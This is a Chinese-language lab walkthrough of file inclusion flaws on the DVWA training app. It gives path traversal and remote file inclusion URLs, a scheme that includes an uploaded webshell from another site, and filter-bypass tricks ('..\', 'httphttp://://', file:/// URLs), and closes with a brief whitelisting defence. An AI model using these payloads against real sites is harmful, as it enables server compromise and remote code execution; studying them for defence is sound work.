基本概念
其实之前的文章说过,文件包含是一种代码的处理方法,比如函数include、require等,参数是文件名
但是如果对应的参数能够被用户可控的话,黑客就能够利用,构造出危害系统的缺口。
基本配置
等级选择
首选选择DVWA的等级为Low
进入界面
进入文件包含漏洞页面:
显示没有开启url包含,
文件配置
配置php.ini文件:
搜索allow_url_include 字段修改为on开启
重启服务
重启Apache服务再次进入:
文件包含已经允许
漏洞利用
分别访问file1.php、file2.php、file3.php
发现网站为:
http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
测试其他网页是否能够访问:
显示文件无法找到,说明是可以进行访问的,服务端会寻找此文件,漏洞可以利用
猜测访问链接的构造为:
http://localhost/dvwa/vulnerabilities/fi/file1.php
http://localhost/dvwa/vulnerabilities/fi/file2.php
http://localhost/dvwa/vulnerabilities/fi/file3.php
无法访问,那还是老老实实地在page后面注入参数吧
找到对应的文件夹:
我们试着看看能不能访问到上层目录下的php.ini文件信息:
构造访问参数 http://localhost/dvwa/vulnerabilities/fi/?page=…/…/php.ini:
成功显示对应对应文件里面的内容
那么我们能够执行一些文件吗?
构造访问参数: http://localhost/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
成功执行对应的php文件,说明我们的文件包含漏洞已经完全利用成功了。
高级一点,能够执行远程的php文件呢?
首先在本地构建另外一个站点,新建一个php文件进行访问:
我们要做的是,在之前的链接里面执行我们构建好的执行文件
构建访问参数: http://localhost/dvwa/vulnerabilities/fi/?page=http://localhost/hello.php
成功执行,至此利用完毕,可以尽情的执行自己构建好的任意文件了。
进阶内容
基本的构建思路
首先在网站A中上传webshell.php文件,找到对应的链接比如: http://www.A.cn/webshell.php
找到B中的文件包含漏洞: http://www.B.cn/?page=
进行漏洞利用: http://www.B.cn/page=http://www.A.cn/webshell.php
其实这里我们利用了文件上传漏洞。
服务端会过滤掉对应的字符信息
当过滤…/时我们尝试使用…\代替访问中的…/
当过滤http://时我们尝试使用
httphttp://://代替
因为httphttp://://过滤掉中间的http://是还会生成另外的http://
本例程中当服务端只允许file*格式的文件包含名称,我们可以利用文件传输协议如访问系统的 file:///c:windows/win.ini
成功访问
防范
那么开发的时候我们该怎么杜绝文件包含利用呢?
我们可以设置白名单的方式,其他的文件包含全部被过滤掉